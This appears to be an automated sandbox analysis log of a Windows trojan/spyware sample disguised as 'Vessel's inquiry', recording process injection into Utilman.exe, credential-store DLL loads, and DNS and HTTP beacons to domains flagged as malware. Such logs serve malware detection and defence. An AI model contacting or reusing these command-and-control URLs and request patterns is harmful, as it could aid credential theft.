Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C5AB15	11_2_02C5AB15
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C5AB20	11_2_02C5AB20
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C5A9D0	11_2_02C5A9D0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C5C9F0	11_2_02C5C9F0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C6322E	11_2_02C6322E
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C63230	11_2_02C63230
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C65030	11_2_02C65030
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C7B7C0	11_2_02C7B7C0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04E9E77D	11_2_04E9E77D
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04E9E2C5	11_2_04E9E2C5
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04E9E3E3	11_2_04E9E3E3
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04E9D848	11_2_04E9D848
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04E9CAE8	11_2_04E9CAE8
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04E9CA40	11_2_04E9CA40

Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: String function: 0145F290 appears 105 times
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: String function: 013CB970 appears 280 times
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: String function: 01427E54 appears 102 times
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: String function: 0144EA12 appears 86 times
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: String function: 01415130 appears 58 times
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: String function: 04BEEA12 appears 86 times
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: String function: 04B6B970 appears 280 times
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: String function: 04BB5130 appears 58 times
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: String function: 04BFF290 appears 105 times
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: String function: 04BC7E54 appears 111 times

Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1221276958.0000000007860000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs Vessel's inquiry - 22054.exe
Source: Vessel's inquiry - 22054.exe, 00000000.00000002.1214045074.00000000008AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Vessel's inquiry - 22054.exe
Source: Vessel's inquiry - 22054.exe, 00000000.00000000.1190380473.0000000000384000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamekmRZ.exe* vs Vessel's inquiry - 22054.exe
Source: Vessel's inquiry - 22054.exe, 00000002.00000002.1468977276.0000000000F48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameutilman2.exej% vs Vessel's inquiry - 22054.exe
Source: Vessel's inquiry - 22054.exe, 00000002.00000002.1469525017.00000000014CD000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Vessel's inquiry - 22054.exe
Source: Vessel's inquiry - 22054.exe	Binary or memory string: OriginalFilenamekmRZ.exe* vs Vessel's inquiry - 22054.exe

Source: Vessel's inquiry - 22054.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Vessel's inquiry - 22054.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@13/9

Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Vessel's inquiry - 22054.exe.log

Source: http://www.031234912.xyz/rxqp/	Avira URL Cloud: Label: malware
Source: http://www.mslgdkor.xyz/9y3c/	Avira URL Cloud: Label: malware
Source: http://www.mslgdkor.xyz/9y3c/?DpGLQbiX=Uxo1tjvQSOjHJBx/WL1Z4aTyqnUIfCKEew3PLayvGrhDG1kktUG/q5smNt5QZYm19xNTf7YleFFlbZBl4hDMzxotodt35qa9wClulzv4bs3vcfzQM082dco=&CF6=mh9lph0H2BrdBp0	Avira URL Cloud: Label: malware
Source: http://www.031234912.xyz/rxqp/?CF6=mh9lph0H2BrdBp0&DpGLQbiX=yNPDi0FdWVqm/NJHoQwWe9CJio47JBRaDAkSlWMNRo5hReSnGh8CdZXLFNAJOOuO+XCRLDSE17WkbvE519aJbIDpc4Zt02V4dKj2L1UwfjXgdG6iB2so0mQ=	Avira URL Cloud: Label: malware

Source: Vessel's inquiry - 22054.exe	ReversingLabs: Detection: 27%
Source: Vessel's inquiry - 22054.exe	Virustotal: Detection: 31%			Perma Link

Source:	Binary string: Utilman.pdb source: Vessel's inquiry - 22054.exe, 00000002.00000002.1468977276.0000000000F48000.00000004.00000020.00020000.00000000.sdmp, 9gqi61vFxD2dyomn.exe, 0000000A.00000003.1745329546.0000000000AC5000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: Vessel's inquiry - 22054.exe, 00000002.00000002.1469525017.00000000013A0000.00000040.00001000.00020000.00000000.sdmp, Utilman.exe, 0000000B.00000003.1471435741.0000000004992000.00000004.00000020.00020000.00000000.sdmp, Utilman.exe, 0000000B.00000003.1468990854.00000000047E6000.00000004.00000020.00020000.00000000.sdmp, Utilman.exe, 0000000B.00000002.3658321653.0000000004CDE000.00000040.00001000.00020000.00000000.sdmp, Utilman.exe, 0000000B.00000002.3658321653.0000000004B40000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: kmRZ.pdbSHA256CPi~ source: Vessel's inquiry - 22054.exe
Source:	Binary string: wntdll.pdb source: Vessel's inquiry - 22054.exe, Vessel's inquiry - 22054.exe, 00000002.00000002.1469525017.00000000013A0000.00000040.00001000.00020000.00000000.sdmp, Utilman.exe, Utilman.exe, 0000000B.00000003.1471435741.0000000004992000.00000004.00000020.00020000.00000000.sdmp, Utilman.exe, 0000000B.00000003.1468990854.00000000047E6000.00000004.00000020.00020000.00000000.sdmp, Utilman.exe, 0000000B.00000002.3658321653.0000000004CDE000.00000040.00001000.00020000.00000000.sdmp, Utilman.exe, 0000000B.00000002.3658321653.0000000004B40000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Utilman.pdbGCTL source: Vessel's inquiry - 22054.exe, 00000002.00000002.1468977276.0000000000F48000.00000004.00000020.00020000.00000000.sdmp, 9gqi61vFxD2dyomn.exe, 0000000A.00000003.1745329546.0000000000AC5000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: kmRZ.pdb source: Vessel's inquiry - 22054.exe
Source:	Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: 9gqi61vFxD2dyomn.exe, 0000000A.00000002.3656118447.000000000068F000.00000002.00000001.01000000.0000000C.sdmp, 9gqi61vFxD2dyomn.exe, 0000000C.00000000.1542329637.000000000068F000.00000002.00000001.01000000.0000000C.sdmp

Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 4x nop then xor eax, eax		11_2_02C59E60
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 4x nop then mov ebx, 00000004h		11_2_04E9050E

Source:	DNS query: www.xxxvideosbox.xyz
Source:	DNS query: www.globedesign.xyz
Source:	DNS query: www.031234912.xyz
Source:	DNS query: www.mslgdkor.xyz
Source:	DNS query: www.bjogo.xyz
Source:	DNS query: www.vrpin.xyz
Source:	DNS query: www.teksto.xyz

Source: Joe Sandbox View	IP Address: 144.76.229.203 144.76.229.203
Source: Joe Sandbox View	IP Address: 172.67.183.195 172.67.183.195
Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /r1zl/?DpGLQbiX=RMtocHhLv4PviDOIzD6yKdwQdedkbqGuCdUbVP3porp0rsRMSXBGxxdZR279wH8k7MV0UwICfeYC4O3VpK1XVPrPjdWbkMsoQcQuvLibN/AidLM/+9JUY2Q=&CF6=mh9lph0H2BrdBp0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.xxxvideosbox.xyzUser-Agent: Mozilla/5.0 (BB10; Touch) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.1.2576 Mobile Safari/537.35+
Source: global traffic	HTTP traffic detected: GET /l81p/?DpGLQbiX=C3JkAtcW2mlHNs/rF3B2xb/ps5MIx31AXk1d8774ItIR+3LQ/2C5+kruSp+BCP/Yeile9qllhu9r/DRrJhAriAtUFviAaYrQrQ4YtbXpMznADA4vN8KlBds=&CF6=mh9lph0H2BrdBp0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.globedesign.xyzUser-Agent: Mozilla/5.0 (BB10; Touch) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.1.2576 Mobile Safari/537.35+
Source: global traffic	HTTP traffic detected: GET /rxqp/?CF6=mh9lph0H2BrdBp0&DpGLQbiX=yNPDi0FdWVqm/NJHoQwWe9CJio47JBRaDAkSlWMNRo5hReSnGh8CdZXLFNAJOOuO+XCRLDSE17WkbvE519aJbIDpc4Zt02V4dKj2L1UwfjXgdG6iB2so0mQ= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.031234912.xyzUser-Agent: Mozilla/5.0 (BB10; Touch) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.1.2576 Mobile Safari/537.35+
Source: global traffic	HTTP traffic detected: GET /9y3c/?DpGLQbiX=Uxo1tjvQSOjHJBx/WL1Z4aTyqnUIfCKEew3PLayvGrhDG1kktUG/q5smNt5QZYm19xNTf7YleFFlbZBl4hDMzxotodt35qa9wClulzv4bs3vcfzQM082dco=&CF6=mh9lph0H2BrdBp0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.mslgdkor.xyzUser-Agent: Mozilla/5.0 (BB10; Touch) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.1.2576 Mobile Safari/537.35+
Source: global traffic	HTTP traffic detected: GET /fr2z/?CF6=mh9lph0H2BrdBp0&DpGLQbiX=b7jrB6wL5i9ET2tr+2VKnIGpMifPfxMKpM6EaP6DOHoTXwTSM6BKj7xdLyCXdIl9KJV+S8D0nqYPi4NNKef3/3JhOeOx26kNnwzkHFmue+Y+emVHJmiFyjk= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.reampul.liveUser-Agent: Mozilla/5.0 (BB10; Touch) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.1.2576 Mobile Safari/537.35+
Source: global traffic	HTTP traffic detected: GET /aob6/?DpGLQbiX=XhIC4rw+QypbzuMVivQNGvvbt21XFOITR846vIosIB7Puaxny8N7Vqc5r96i8ZZbKK7HlnBg0X//wL8UJwmx2iB5WpadJZJ+12OlBS2kZX/LxwBlaoZ7JKo=&CF6=mh9lph0H2BrdBp0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.ax777.topUser-Agent: Mozilla/5.0 (BB10; Touch) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.1.2576 Mobile Safari/537.35+
Source: global traffic	HTTP traffic detected: GET /68yf/?DpGLQbiX=3FdVNtuqhX/OwQ0CsUdSe+pIVTMT8TbyudsUPAIxvbc74rs8+oKFjm0JHDHCybUUYrL0pYrXwy0Xcu3Z7znVP5o4vtGhf9ErW+kRSUddUWDZ7eS70buf048=&CF6=mh9lph0H2BrdBp0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.werdienmachine.netUser-Agent: Mozilla/5.0 (BB10; Touch) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.1.2576 Mobile Safari/537.35+
Source: global traffic	HTTP traffic detected: GET /lbak/?DpGLQbiX=RiladI41rhE6y2eLHZ8PC8MX2Ywduh9KijWZkCuW0O23919AnrZ1a/kf6h3+yuZgiwfSvtsq848N9KQYabsmuw/VXs8lZBaVTXW2buIYIuciUsIy4zE0yo8=&CF6=mh9lph0H2BrdBp0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.bjogo.xyzUser-Agent: Mozilla/5.0 (BB10; Touch) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.1.2576 Mobile Safari/537.35+
Source: global traffic	HTTP traffic detected: GET /128e/?DpGLQbiX=s9McBJLMjVEkDg5ofsJgzIncb0tOp4vhhsS0K++y3mc9Clik8aHmC8Xx5lnrAKhG2I2Dce0nREOtuOgdst9KiVaHtpD64erfg0NqQC2fyE+aJ4gWzuFGQt4=&CF6=mh9lph0H2BrdBp0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.kpa-aution.onlineUser-Agent: Mozilla/5.0 (BB10; Touch) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.1.2576 Mobile Safari/537.35+
Source: global traffic	HTTP traffic detected: GET /cifg/?DpGLQbiX=qm8XEd3ZjOm+BH2sAmNcXkAKLFxe70eGrXFy4Pa4QdhoscEF9kSXvMz8sD/pAOaMKWrVSNXRHDa31zUiavOGkZAK7pMpc4Er4zEZ9zAxY/s27eN7YaeqOlE=&CF6=mh9lph0H2BrdBp0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.vrpin.xyzUser-Agent: Mozilla/5.0 (BB10; Touch) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.1.2576 Mobile Safari/537.35+

Source: global traffic	DNS traffic detected: DNS query: www.xxxvideosbox.xyz
Source: global traffic	DNS traffic detected: DNS query: www.globedesign.xyz
Source: global traffic	DNS traffic detected: DNS query: www.031234912.xyz
Source: global traffic	DNS traffic detected: DNS query: www.mslgdkor.xyz
Source: global traffic	DNS traffic detected: DNS query: www.reampul.live
Source: global traffic	DNS traffic detected: DNS query: www.ax777.top
Source: global traffic	DNS traffic detected: DNS query: www.funnyjunk.pics
Source: global traffic	DNS traffic detected: DNS query: www.mrguider.pics
Source: global traffic	DNS traffic detected: DNS query: www.werdienmachine.net
Source: global traffic	DNS traffic detected: DNS query: www.bjogo.xyz
Source: global traffic	DNS traffic detected: DNS query: www.kpa-aution.online
Source: global traffic	DNS traffic detected: DNS query: www.vrpin.xyz
Source: global traffic	DNS traffic detected: DNS query: www.teksto.xyz

Source: unknown	Process created: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe "C:\Users\user\Desktop\Vessel's inquiry - 22054.exe"
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process created: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe "C:\Users\user\Desktop\Vessel's inquiry - 22054.exe"
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	Process created: C:\Windows\SysWOW64\Utilman.exe "C:\Windows\SysWOW64\Utilman.exe"
Source: C:\Windows\SysWOW64\Utilman.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process created: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe "C:\Users\user\Desktop\Vessel's inquiry - 22054.exe"	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	Process created: C:\Windows\SysWOW64\Utilman.exe "C:\Windows\SysWOW64\Utilman.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_00D1DA4A pushfd ; retf	0_2_00D1DA81
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_059309D8 pushad ; iretd	0_2_059309D9
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_06FFC603 pushad ; ret	0_2_06FFC609
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_07037440 push cs; ret	0_2_0703744E
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_07038398 push eax; ret	0_2_0703849D
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0040A9ED push ebx; ret	2_2_0040A9EE
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0040D256 pushad ; ret	2_2_0040D259
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_00401ADF push edi; retf	2_2_00401B02
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_00403320 push eax; ret	2_2_00403322
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_00402DD3 pushad ; ret	2_2_00402DD4
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_004115DC push edi; ret	2_2_004115E6
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_004115DC push edx; retf	2_2_00411701
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_004085E2 push es; ret	2_2_004085F8
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_00408588 push esp; ret	2_2_0040858A
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_004085A0 push ss; iretd	2_2_004085E0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_00418E38 push ebx; iretd	2_2_00418E45
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_004116C1 push edx; retf	2_2_00411701
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013D09AD push ecx; mov dword ptr [esp], ecx	2_2_013D09B6
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B427FA pushad ; ret	11_2_04B427F9
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B4225F pushad ; ret	11_2_04B427F9
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B4283D push eax; iretd	11_2_04B42858
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B709AD push ecx; mov dword ptr [esp], ecx	11_2_04B709B6
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B418F3 push edx; ret	11_2_04B41906
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C5E2B9 push edi; ret	11_2_02C5E2C3
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C5E2B9 push edx; retf	11_2_02C5E3DE
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C5E39E push edx; retf	11_2_02C5E3DE
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C6834C push 8FCC23F0h; iretd	11_2_02C6836E
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C6832E push 26FEC064h; ret	11_2_02C6833A
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C6201D push edi; iretd	11_2_02C62025
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C552BF push es; ret	11_2_02C552D5
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C55265 push esp; ret	11_2_02C55267

Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
